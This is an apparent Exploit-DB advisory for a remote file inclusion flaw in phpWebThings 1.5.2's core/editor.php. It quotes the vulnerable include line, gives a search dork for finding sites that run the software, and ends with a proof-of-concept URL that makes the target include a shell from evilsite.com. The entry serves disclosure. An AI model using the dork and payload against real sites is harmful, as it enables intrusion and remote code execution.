PHPWebThings 1.5.2 - 'editor.php' Remote File Inclusion

EDB-ID:

2811

Author:

nuffsaid

Type:

webapps

Platform:

PHP

Published:

2006-11-18

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+ phpWebThings 1.5.2 (editor.php) Remote File Include Vulnerability
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+ Affected Software .: phpWebThings 1.5.2
+ Vendor ............: http://www.phpwebthings.nl/
+ Download ..........: http://prdownloads.sourceforge.net/phpwebthings/phpwebthings_1_5_2.zip?download
+ Description .......: "phpWebThings is a Powerful, professional application framework"
+ Dork ..............: "This website was created with phpWebThings"
+ Class .............: Remote File Inclusion
+ Risk ..............: High (Remote File Execution)
+ Found By ..........: nuffsaid <nuffsaid[at]newbslove.us>
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+ Details:
+ phpWebThings 1.5.2 core/editor.php does not initialize the $editor_insert_bottom variable
+ before using it to include files, assuming register_globals = on, we can initialize the
+ variable in a query string and include a remote file of our choice.
+
+ Vulnerable Code: 
+ core/editor.php, line(s) 289:
+ -> 289: if ($editor_insert_bottom<>"") include($editor_insert_bottom);
+
+ Proof Of Concept:
+ http://[target]/[path]/core/editor.php?editor_insert_bottom=http://evilsite.com/shell.php
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